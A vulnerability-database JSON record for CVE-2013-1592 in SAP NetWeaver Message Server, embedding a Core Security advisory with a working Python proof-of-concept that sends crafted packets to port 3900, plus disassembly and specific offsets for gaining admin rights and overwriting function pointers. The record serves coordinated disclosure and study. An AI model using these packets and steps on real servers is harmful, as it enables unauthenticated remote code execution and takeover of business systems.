"authentication": "NONE",
"author": "ZDI",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "ZDI-12-104",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "HIGH",
"trust": 0.7,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": null,
"accessVector": null,
"authentication": null,
"author": "IVD",
"availabilityImpact": null,
"baseScore": null,
"confidentialityImpact": null,
"exploitabilityScore": null,
"id": "29348194-1f62-11e6-abef-000c29c66e3d",
"impactScore": null,
"integrityImpact": null,
"severity": null,
"trust": 0.2,
"vectorString": null,
"version": "unknown"
},
{
"accessComplexity": null,
"accessVector": null,
"authentication": null,
"author": "IVD",
"availabilityImpact": null,
"baseScore": null,
"confidentialityImpact": null,
"exploitabilityScore": null,
"id": "29fdb3de-1f62-11e6-abef-000c29c66e3d",
"impactScore": null,
"integrityImpact": null,
"severity": null,
"trust": 0.2,
"vectorString": null,
"version": "unknown"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2013-1592",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 9.8,
"baseSeverity": "Critical",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2013-1592",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2013-1592",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2013-1592",
"trust": 0.8,
"value": "Critical"
},
{
"author": "ZDI",
"id": "ZDI-12-112",
"trust": 0.7,
"value": "HIGH"
},
{
"author": "ZDI",
"id": "ZDI-12-111",
"trust": 0.7,
"value": "HIGH"
},
{
"author": "ZDI",
"id": "ZDI-12-104",
"trust": 0.7,
"value": "HIGH"
},
{
"author": "IVD",
"id": "29348194-1f62-11e6-abef-000c29c66e3d",
"trust": 0.2,
"value": "HIGH"
},
{
"author": "IVD",
"id": "29fdb3de-1f62-11e6-abef-000c29c66e3d",
"trust": 0.2,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2013-1592",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "IVD",
"id": "29348194-1f62-11e6-abef-000c29c66e3d"
},
{
"db": "IVD",
"id": "29fdb3de-1f62-11e6-abef-000c29c66e3d"
},
{
"db": "ZDI",
"id": "ZDI-12-112"
},
{
"db": "ZDI",
"id": "ZDI-12-111"
},
{
"db": "ZDI",
"id": "ZDI-12-104"
},
{
"db": "VULMON",
"id": "CVE-2013-1592"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007127"
},
{
"db": "NVD",
"id": "CVE-2013-1592"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "A Buffer Overflow vulnerability exists in the Message Server service _MsJ2EE_AddStatistics() function when sending specially crafted SAP Message Server packets to remote TCP ports 36NN and/or 39NN in SAP NetWeaver 2004s, 7.01 SR1, 7.02 SP06, and 7.30 SP04, which could let a remote malicious user execute arbitrary code. SAP NetWeaver Contains a classic buffer overflow vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. If a package with sub opcode 0x4 contains a long parameter value string NetWeaver will eventually write a \\x00 byte onto the stack to mark the end of the string. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. \nSuccessfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or cause denial-of-service conditions. \nThe following products are affected:\nSAP Netweaver 2004s\nSAP Netweaver 7.01 SR1\nSAP Netweaver 7.02 SP06\nSAP Netweaver 7.30 SP04. \n\nThe vulnerability is due to a memory pointer error while processing certain packets by the affected software. Core Security - Corelabs Advisory\nhttp://corelabs.coresecurity.com/\n\nCORE-2012-1128\n\n\n1. *Advisory Information*\n\nTitle: SAP Netweaver Message Server Multiple Vulnerabilities\nAdvisory ID: CORE-2012-1128\nAdvisory URL:\nhttp://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities\nDate published: 2013-02-13\nDate of last update: 2013-02-13\nVendors contacted: SAP\nRelease mode: Coordinated release\n\n\n\n2. *Vulnerability Information*\n\nClass: Improper Validation of Array Index [CWE-129], Buffer overflow\n[CWE-119]\nImpact: Code execution, Denial of service\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1592, CVE-2013-1593\n\n\n\n3. By sending different messages,\nthe different vulnerabilities can be triggered. \n\n\n4. *Vulnerable packages*\n\n . Older versions are probably affected too, but they were not checked. \n\n5. *Non-vulnerable packages*\n\n . Vendor did not provide this information. \n\n6. *Vendor Information, Solutions and Workarounds*\n\nSAP released the security note 1800603 [2] regarding these issues. \n\n\n7. *Credits*\n\nVulnerability [CVE-2013-1592] was discovered by Martin Gallo and\nFrancisco Falcon, and additional research was performed by Francisco\nFalcon. Vulnerability [CVE-2013-1593] was discovered and researched by\nMartin Gallo from Core Security Consulting Services. The publication of\nthis advisory was coordinated by Fernando Miranda from Core Advisories\nTeam. \n\n\n8. *Technical Description / Proof of Concept Code*\n\nThe following python script is the main PoC that can be used to\nreproduce all vulnerabilities described below:\n\n/-----\nimport socket, struct\nfrom optparse import OptionParser\n\n# Parse the target options\nparser = OptionParser()\nparser.add_option(\"-d\", \"--hostname\", dest=\"hostname\", help=\"Hostname\",\ndefault=\"localhost\")\nparser.add_option(\"-p\", \"--port\", dest=\"port\", type=\"int\", help=\"Port\nnumber\", default=3900)\n(options, args) = parser.parse_args()\n\nclient_string = \u0027-\u0027+\u0027 \u0027*39\nserver_name = \u0027-\u0027+\u0027 \u0027*39\n\ndef send_packet(sock, packet):\n packet = struct.pack(\"!I\", len(packet)) + packet\n sock.send(packet)\n\ndef receive(sock):\n length = sock.recv(4)\n (length, ) = struct.unpack(\"!I\", length)\n data = \"\"\n while len(data)\u003clength:\n data+= sock.recv(length)\n return (length, data)\n\ndef initialize_connection(hostname, port):\n\n # Connect\n print \"[*] Connecting to\", hostname, \"port\", port\n connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n connection.connect((hostname, port))\n\n # Send initialization packet\n print \"[*] Conected, sending login request\"\n\n init = \u0027**MESSAGE**\\x00\u0027 # eyecatcher\n init+= \u0027\\x04\u0027 # version\n init+= \u0027\\x00\u0027 # errorno\n init+= client_string # toname\n init+= \u0027\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\u0027 #\nmsgtype/reserved/key\n init+= \u0027\\x01\\x08\u0027 # flag / iflag (MS_LOGIN_2)\n init+= client_string # fromname\n init+= \u0027\\x00\\x00\u0027 # padd\n send_packet(connection, init)\n\n # Receive response\n print \"[*] Receiving login reply\"\n (length, data) = receive(connection)\n\n # Parsing login reply\n server_name = data[4+64:4+64+40]\n\n return connection\n\n# Main PoC body\nconnection = initialize_connection(options.hostname, options.port)\nsend_attack(connection)\n\n-----/\n\n\nIn the following subsections, we give the python code that can be added\nafter the script above in order to reproduce all vulnerabilities. \n\n\n8.1. Malicious\npackets are processed by the vulnerable function \u0027_MsJ2EE_AddStatistics\u0027\nin the \u0027msg_server.exe\u0027 module. \n\nThe vulnerable function \u0027_MsJ2EE_AddStatistics\u0027 receives a pointer to a\n\u0027MSJ2EE_HEADER\u0027 struct as its third parameter, which is fully controlled\nby the attacker. This struct type is defined as follows:\n\n/-----\n00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type)\n00000000 senderclusterid dd ?\n00000004 clusterid dd ?\n00000008 serviceid dd ?\n0000000C groupid dd ?\n00000010 nodetype db ?\n00000011 db ? ; undefined\n00000012 db ? ; undefined\n00000013 db ? ; undefined\n00000014 totallength dd ?\n00000018 currentlength dd ?\n0000001C currentoffset dd ?\n00000020 totalblocks db ?\n00000021 currentblock db ?\n00000021\n00000022 db ? ; undefined\n00000023 db ? ; undefined\n00000024 messagetype dd ?\n00000028 MSJ2EE_HEADER ends\n-----/\n The \u0027_MsJ2EE_AddStatistics\u0027 function uses the \u0027serviceid\u0027 field of the\n\u0027MSJ2EE_HEADER\u0027 to calculate an index to write into the\n\u0027j2ee_stat_services\u0027 global array, without properly validating that the\nindex is within the boundaries of the array. On the other hand,\n\u0027j2ee_stat_services\u0027 is a global array of 256 elements of type\n\u0027MSJ2EE_STAT_ELEMENT\u0027:\n\n/-----\n.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256]\n.data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(\u003c?\u003e)\n.data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o\n.data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... \n\n-----/\n This vulnerability can be used to corrupt arbitrary memory with\narbitrary values, with some restrictions. The following snippet shows\nthe vulnerable code within the \u0027_MsJ2EE_AddStatistics\u0027 function:\n\n/-----\nmov edi, [ebp+pJ2eeHeader]\nmov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker\ncontrols MSJ2EE_HEADER.serviceid\nxor ecx, ecx\ncmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx\nlea esi, [eax+eax*8]\nlea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index\nwithout validating array bounds\n\n-----/\n Since the \u0027serviceid\u0027 value is first multiplied by 9 and then it is\nmultiplied by 8, the granularity of the memory addresses that can be\ntargeted for memory corruption is 0x48 bytes, which is the size of the\n\u0027MSJ2EE_STAT_ELEMENT\u0027 struct:\n\n/-----\n00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type)\n00000000 ; XREF:\n.data:j2ee_stat_totalr\n00000000 ; .data:j2ee_stat_servicesr\n00000000 totalMsgCount dq ? ; XREF:\n_MsJ2EE_AddStatistics+1Br\n00000000 ;\n_MsJ2EE_AddStatistics+2Fr ... \n00000008 totalMsgLength dq ? ; XREF:\n_MsJ2EE_AddStatistics+192r\n00000008 ;\n_MsJ2EE_AddStatistics+19Br ... \n00000010 avgMsgLength dq ? ; XREF:\n_MsJ2EE_AddStatistics+1C2w\n00000010 ;\n_MsJ2EE_AddStatistics+1C7w ... \n00000018 maxLength dq ? ; XREF:\n_MsJ2EE_AddStatistics+161r\n00000018 ;\n_MsJ2EE_AddStatistics+16Er ... \n00000020 noP2PMessage dq ? ; XREF:\n_MsJ2EE_AddStatistics:loc_44D442w\n00000020 ;\n_MsJ2EE_AddStatistics+158w ... \n00000028 noP2PRequest dq ? ; XREF:\n_MsJ2EE_AddStatistics+144w\n00000028 ;\n_MsJ2EE_AddStatistics+14Aw ... \n00000030 noP2PReply dq ? ; XREF:\n_MsJ2EE_AddStatistics+132w\n00000030 ;\n_MsJ2EE_AddStatistics+138w ... \n00000038 noBroadcastMessage dq ? ; XREF:\n_MsJ2EE_AddStatistics:loc_44D40Dw\n00000038 ;\n_MsJ2EE_AddStatistics+123w ... \n00000040 noBroadcastRequest dq ? ; XREF:\n_MsJ2EE_AddStatistics+10Fw\n00000040 ;\n_MsJ2EE_AddStatistics+115w ... \n00000048 MSJ2EE_STAT_ELEMENT ends\n\n-----/\n However, it is possible to use different combinations of the\n\u0027flag/iflag\u0027 values in the Message Server packet to gain more precision\nover the memory addresses that can be corrupted. Different combinations\nof \u0027flag/iflag\u0027 values provide different memory corruption primitives,\nas shown below:\n\n/-----\nAt this point:\n * ESI points to an arbitrary, attacker-controlled memory address\n * EBX == 1\n\n.text:0044D359 movzx eax, [ebp+msiflag]\n.text:0044D35D sub eax, 0Ch\n.text:0044D360 jz short loc_44D37C\n.text:0044D362 sub eax, ebx\n.text:0044D364 jnz short loc_44D39D\n.text:0044D366 cmp [ebp+msflag], 2\n.text:0044D36A jnz short loc_44D374\n.text:0044D36C add [esi+40h], ebx ; iflag=0xd,\nflag=2 =\u003e add 1 to [esi+0x40]\n.text:0044D36F adc [esi+44h], ecx\n.text:0044D372 jmp short loc_44D39D\n.text:0044D374 ;\n---------------------------------------------------------------------------\n.text:0044D374\n.text:0044D374 loc_44D374: ; CODE XREF:\n_MsJ2EE_AddStatistics+7Aj\n.text:0044D374 add [esi+38h], ebx ; iflag=0xd,\nflag=1 =\u003e add 1 to [esi+0x38]\n.text:0044D377 adc [esi+3Ch], ecx\n.text:0044D37A jmp short loc_44D39D\n.text:0044D37C ;\n---------------------------------------------------------------------------\n.text:0044D37C\n.text:0044D37C loc_44D37C: ; CODE XREF:\n_MsJ2EE_AddStatistics+70j\n.text:0044D37C mov al, [ebp+msflag]\n.text:0044D37F cmp al, 3\n.text:0044D381 jnz short loc_44D38B\n.text:0044D383 add [esi+30h], ebx ; iflag=0xc,\nflag=3 =\u003e add 1 to [esi+0x30]\n.text:0044D386 adc [esi+34h], ecx\n.text:0044D389 jmp short loc_44D39D\n.text:0044D38B ;\n---------------------------------------------------------------------------\n.text:0044D38B\n.text:0044D38B loc_44D38B: ; CODE XREF:\n_MsJ2EE_AddStatistics+91j\n.text:0044D38B cmp al, 2\n.text:0044D38D jnz short loc_44D397\n.text:0044D38F add [esi+28h], ebx ; iflag=0xc,\nflag=2 =\u003e add 1 to [esi+0x28]\n.text:0044D392 adc [esi+2Ch], ecx\n.text:0044D395 jmp short loc_44D39D\n.text:0044D397 ;\n---------------------------------------------------------------------------\n.text:0044D397\n.text:0044D397 loc_44D397: ; CODE XREF:\n_MsJ2EE_AddStatistics+9Dj\n.text:0044D397 add [esi+20h], ebx ; iflag=0xc,\nflag=1 =\u003e add 1 to [esi+0x20]\n.text:0044D39A adc [esi+24h], ecx\n\n[...]\n\n-----/\n And the following code excerpt is always executed within the\n\u0027_MsJ2EE_AddStatistics\u0027 function, providing two more memory corruption\nprimitives:\n\n/-----\n.text:0044D3B7 add [esi],\nebx ;add 1 to [esi]\n.text:0044D3B9 adc dword ptr [esi+4], 0\n.text:0044D3BD mov eax,\n[edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully\ncontrolled by the attacker\n.text:0044D3C0 cdq\n.text:0044D3C1 add [esi+8],\neax ;add an arbitrary number to [esi+8]\n\n-----/\n This memory corruption vulnerability can be used by remote\nunauthenticated attackers to execute arbitrary code on vulnerable\ninstallations of SAP Netweaver, but it can also be abused to modify the\ninternal state of the vulnerable service in order to gain administrative\nprivileges within the SAP Netweaver Message Server. \n\nA client connected to the Message Server may have administrative\nprivileges or not. The Message Server holds a structure of type\n\u0027MSADM_s\u0027 for each connected client, which contains information about\nthat very connection. Relevant parts of the \u0027MSADM_s\u0027 struct type are\nshown below:\n\n/-----\n00000000 MSADM_s struc ; (sizeof=0x538, standard type)\n00000000 ; XREF: .data:dummy_clientr\n00000000 client_type dd ? ; enum MS_CLIENT_TYPE\n00000004 stat dd ? ; enum MS_STAT\n00000008 connection_ID dd ?\n0000000C status db ?\n0000000D dom db ? ; XREF: MsSFillCon+3Cw\n0000000E admin_allowed db ?\n0000000F db ? ; undefined\n00000010 name dw 40 dup(?)\n[...]\n00000534 _padding db 4 dup(?)\n00000538 MSADM_s ends\n\n-----/\n The \u0027admin_allowed\u0027 field at offset 0x0E is a boolean value that\nindicates whether the connected client has administrative privileges or\nnot. When a new client connects, the \u0027MsSLoginClient\u0027 function of the\nMessage Server sets the proper value for the \u0027admin_allowed\u0027 field in\nthe \u0027MSADM_s\u0027 struct instance associated with that client:\n\n/-----\n.text:004230DC\nloc_4230DC: ; CODE\nXREF: MsSLoginClient+AAAj\n.text:004230DC\n ; MsSLoginClient+B26j\n.text:004230DC cmp byte ptr [edi+0Eh],\n0 ; privileged client?\n.text:004230E0 jnz short\nloc_4230EA ; if yes, jump\n.text:004230E2 mov al, byte ptr\nms_admin_allowed ; otherwise, grab the value of the\n\"ms_admin_allowed\" global variable... \n.text:004230E7 mov [edi+0Eh],\nal ; ...and save it to MSADM_s.admin_allowed\n\n-----/\n So if we manage to overwrite the value of the \u0027ms_admin_allowed\u0027 global\nvariable with a value different than 0, then we can grant administrative\nprivileges to our unprivileged connections. In SAP Netweaver\n\u0027msg_server.exe\u0027 v7200.70.18.23869, the \u0027ms_admin_allowed\u0027 global\nvariable is located at \u00270x008f17f0\u0027:\n\n/-----\n.data:008F17F0 ; int ms_admin_allowed\n.data:008F17F0 ms_admin_allowed dd ? ; DATA XREF:\nMsSSetMonitor+7Ew\n.data:008F17F0 ; MsSLoginClient+B62r\n\n-----/\n And the \u0027j2ee_stat_services\u0027 global array, which is the array that can\nbe indexed outside its bounds, is located at \u00270x0090b9e0\u0027:\n\n/-----\n.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256]\n.data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(\u003c?\u003e)\n.data:0090B9E0 ; DATA XREF:\n_MsJ2EE_AddStatistics+24o\n.data:0090B9E0 ;\n_MsJ2EE_AddStatistics+4Co ... \n\n-----/\n So, by providing \u0027MSJ2EE_HEADER.serviceid == 0x038E3315\u0027, we will be\ntargeting \u00270x008F17C8\u0027 as the base address for memory corruption. Having\nin mind the different memory corruption primitives based on combinations\nof \u0027flag/iflag\u0027 fields described above, by specifying \u0027iflag == 0xC\u0027 and\n\u0027flag == 0x2\u0027 in our Message Server packet we will be able to add 1 to\n\u0027[0x008F17C8+0x28]\u0027, effectively overwriting the contents of\n\u00270x008F17F0\u0027 (\u0027ms_admin_allowed\u0027). After overwriting \u0027ms_admin_allowed\u0027,\nall of our future connections will have administrative privileges within\nthe Message Server. \n\nAfter gaining administrative privileges for our future connections,\nthere are at least two possible paths of exploitation:\n\n 1. Of\ncourse it is not mandatory to have administrative privileges in order to\noverwrite function pointers, but considering the limitation of\ntargetable addresses imposed by the little granularity of the memory\ncorruption, some of the most handy-to-exploit function pointers happened\nto be accessible just for administrative connections. \n 2. Modify the configuration and behavior of the server. That includes\nchanging Message Server\u0027s runtime parameters and enabling Monitor Mode\nin the affected server. \n\n8.1.1. *Gaining remote code execution by overwriting function pointers*\n\nHaving in mind that the granularity of the memory addresses that can be\ntargeted for memory corruption is not that flexible (0x48 bytes) and the\nlimited memory corruption primitives available, it takes some effort to\nfind a function pointer that can be overwritten with a useful value and\nwhich can be later triggered with a network packet. \n\nOne possibility is to overwrite one of the function pointers which are\nin charge of handling the modification of Message Server parameters:\n\n/-----\n.data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58]\n\n; function pointers associated to the modification of the \"ms/max_sleep\"\nparameter\n.data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER\n\u003coffset aMsMax_sleep, \\\n.data:0087DED0 offset\nMsSTestInteger, \\ ; \"rdisp/TRACE_PATTERN_2\"\n.data:0087DED0 offset\nMsSSetMaxSleep\u003e\n\n; function pointers associated to the modification of the \"ms/max_vhost\"\nparameter\n.data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER \u003coffset\naMsMax_vhost, \\\n.data:0087DED0 offset\nMsSTestInteger, \\ ;\u003c-- we can overwrite this one\n.data:0087DED0 offset\nMsSSetMaxVirtHost\u003e\n\n[...]\n\n-----/\n By providing \u0027MSJ2EE_HEADER.serviceid == 0x038E1967\u0027 we can target\n\u00270x0087DED8\u0027 as the base address for memory corruption. In this case we\ncan use the memory corruption primitive at address \u00270x0044D3C1\u0027 that\nalways gets executed, which will allow us to add an arbitrary number\n(the value of \u0027MSJ2EE_HEADER.totallength\u0027) to \u0027[0x0087DED8+8]\u0027\neffectively overwriting the function pointer shown above\n(\u0027ms_changeable_parameter[1].set\u0027). \n\nAfter that we need to send a \u0027MS_SET_PROPERTY\u0027 request, specifying\n\u0027ms/max_vhost\u0027 as the name of the property to be changed. This\n\u0027MS_SET_PROPERTY\u0027 packet will make our overwritten function pointer to\nbe called from the \u0027MsSChangeParam\u0027 function:\n\n/-----\n.text:00404DB3 loc_404DB3: ; CODE XREF:\nMsSChangeParam+CDj\n.text:00404DB3 lea esi, [edi+edi*2]\n.text:00404DB6 mov edi, [ebp+pvalue]\n.text:00404DB9 add esi, esi\n.text:00404DBB mov edx,\nms_changeable_parameter.test[esi+esi]\n.text:00404DC2 add esi, esi\n.text:00404DC4 push edi\n.text:00404DC5 push pname\n.text:00404DC6 call edx ; call our\noverwritten function pointer\n\n-----/\n\u0027MS_SET_PROPERTY\u0027 packets will be ignored by the Message Server if the\nrequesting client does not have administrative privileges, so it is\nnecessary to gain administrative privileges as explained above before\nusing the memory corruption vulnerability to overwrite one of the\nfunction pointers in the \u0027ms_changeable_parameter\u0027 global array. \n\n\n8.1.2. *Modify the configuration and behavior of the server*\n\nAfter gaining administrative privileges for our connections, it is\npossible to perform \u0027MS_SET_PROPERTY\u0027 packets against the Message Server\nin order to modify its configuration and behavior. That makes possible,\nfor example, to add virtual hosts to the load balancer, or to enable\nMonitor Mode [3] (transaction SMMS) on the affected server. Enabling\nMonitor Mode takes two steps:\n\n 1. Send a \u0027MS_SET_PROPERTY\u0027 packet with property \u0027name ==\n\"ms/monitor\"\u0027, property \u0027value == 1\u0027. \n 2. Send a \u0027MS_SET_PROPERTY\u0027 packet with property \u0027name ==\n\"ms/admin_port\"\u0027, property \u0027value == 3535\u0027 (or any other arbitrary port\nnumber). \nAfter sending the second \u0027MS_SET_PROPERTY\u0027 packet, the SAP Netweaver\nMessage Server will start listening on the specified port, waiting for\nconnections from instances of the msmon.exe monitoring program [4]. \n\nThe following python code can be used to trigger the vulnerability:\n\n/-----\ndef send_attack(connection):\n print \"[*] Sending crash packet\"\n crash = \u0027**MESSAGE**\\x00\u0027 # eyecatcher\n crash+= \u0027\\x04\u0027 # version\n crash+= \u0027\\x00\u0027 # errorno\n crash+= server_name # toname\n crash+= \u0027\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\u0027 #\nmsgtype/reserved/key\n crash+= \u0027\\x04\\x0d\u0027 # flag/iflag\n crash+= client_string # fromname\n crash+= \u0027\\x00\\x00\u0027 # padd\n\n crash+=\n\"ABCDEFGH\"+\"\\x01\\x00\\x00\\x00\"+\"MNOPQRSTUVWXYZ0123\"+\"\\x01\"+\"56789abcd\"\n crash+= \"\\x00\\x00\\x00\\x01\"\n crash+= \"\\xff\\xff\\xff\\xff\"\n crash+= \"\\x00\\x00\\x00\\x00\"\n send_packet(connection, crash)\n\n print \"[*] Crash sent !\"\n-----/\n\n\n\n8.2. \nMalicious packets are processed by the vulnerable function \u0027WRITE_C\u0027 in\nthe \u0027msg_server.exe\u0027 module. \n\nThe following python code can be used to trigger the vulnerability:\n\n/-----\ndef send_attack(connection):\n print \"[*] Sending crash packet\"\n crash = \u0027**MESSAGE**\\x00\u0027 # eyecatcher\n crash+= \u0027\\x04\u0027 # version\n crash+= \u0027\\x00\u0027 # errorno\n crash+= server_name # toname\n crash+= \u0027\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\u0027 #\nmsgtype/reserved/key\n crash+= \u0027\\x04\\x05\u0027 # flag/iflag\n crash+= client_string # fromname\n crash+= \u0027\\x00\\x00\u0027 # padd\n\n crash+= \"AD-EYECATCH\\x00\"\n crash+= \"\\x01\\x01\"\n crash+= \"%11d\" % 104\n crash+= \"%11d\" % 1\n crash+= \"\\x15\\x00\\x00\\x00\"\n crash+= \"\\x20\\x00\\x00\\xc8\"\n crash+= \"LALA\" + \u0027 \u0027*(20-4)\n crash+= \"LOLO\" + \u0027 \u0027*(40-4)\n crash+= \" \"*36\n send_packet(connection, crash)\n\n print \"[*] Crash sent !\"\n\n-----/\n\n\n\n9. *Report Timeline*\n. 2012-12-10:\nCore Security Technologies notifies the SAP team of the vulnerability,\nsetting the estimated publication date of the advisory for January 22nd,\n2013. 2012-12-10:\nCore sends an advisory draft with technical details and a PoC. 2012-12-11:\nThe SAP team confirms the reception of the issue. 2012-12-21:\nSAP notifies that they concluded the analysis of the reported issues and\nconfirms two out of the five vulnerabilities. Vendor also notifies that\nthe other three reported issues were already fixed in February, 2012. \nVendor also notifies that the necessary code changes are being done and\nextensive tests will follow. The corresponding security note and patches\nare planned to be released on the Security Patch Day in Feb 12th 2013. 2012-12-21:\nCore re-schedules the advisory publication for Feb 12th, 2013. 2012-12-28:\nSAP notifies Core that they will be contacted if tests fails in order to\nre-schedule the advisory publication. 2013-01-22:\nFirst release date missed. 2013-01-28:\nSAP notifies that they are still confident with releasing a security\nnote and patches on Feb 12th as planned. 2013-01-29:\nCore acknowledges receiving the information and notifies that everything\nis ready for public disclosing on Feb 12th. Core also asks additional\ninformation regarding the patched vulnerabilities mentioned in\n[2012-12-21], including links to security bulletin, CVEs, and patches in\norder to verify if those patches effectively fix the reported flaws. 2013-02-01:\nSAP notifies that the patched vulnerabilities mentioned in [2012-12-21]\nwere reported in [5] and no CVE were assigned to them. Those\nvulnerabilities seems to be related to ZDI advisories [6], [7], [8]. 2013-02-06:\nCore notifies that the patched vulnerabilities will be removed from the\nadvisory and asks additional information regarding the affected and\npatched version numbers. 2013-02-01:\nSAP notifies that the security note 1800603 will be released and that\nnote will provide further information regarting this vulnerability. 2013-02-13:\nAdvisory CORE-2012-1128 published. \n\n\n10. *References*\n\n[1] http://www.sap.com/platform/netweaver/index.epx. \n[2] SAP Security note Feb 2013\nhttps://service.sap.com/sap/support/notes/1800603. \n[3]\nhttp://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm. \n\n[4]\nhttp://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm. \n\n[5] SAP Security notes Feb 2012\nhttps//service.sap.com/sap/support/notes/1649840. \n[6] http://www.zerodayinitiative.com/advisories/ZDI-12-104/. \n[7] http://www.zerodayinitiative.com/advisories/ZDI-12-111/. \n[8] http://www.zerodayinitiative.com/advisories/ZDI-12-112/. \n\n\n11. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n\n12. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n\n13. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2012 Core Security\nTechnologies and (c) 2012 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n\n14. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\nZDI-12-111 : SAP Netweaver ABAP msg_server.exe Opcode 0x43 Remote Code\nExecution Vulnerability\nhttp://www.zerodayinitiative.com/advisories/ZDI-12-111\nJune 28, 2012\n\n- -- CVE ID:\n\n\n- -- CVSS:\n10, AV:N/AC:L/Au:N/C:C/I:C/A:C\n\n- -- Affected Vendors:\nSAP\n\n\n- -- Affected Products:\nSAP NetWeaver\n\n\n- -- TippingPoint(TM) IPS Customer Protection:\nTippingPoint IPS customers have been protected against this\nvulnerability by Digital Vaccine protection filter ID 12407. \n\n- -- Vendor Response:\nSAP has issued an update to correct this vulnerability. More details can be\nfound at:\nhttp://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d1\n0-eea7-ceb666083a6a#section40\n\n\n- -- Disclosure Timeline:\n2011-10-28 - Vulnerability reported to vendor\n2012-06-28 - Coordinated public release 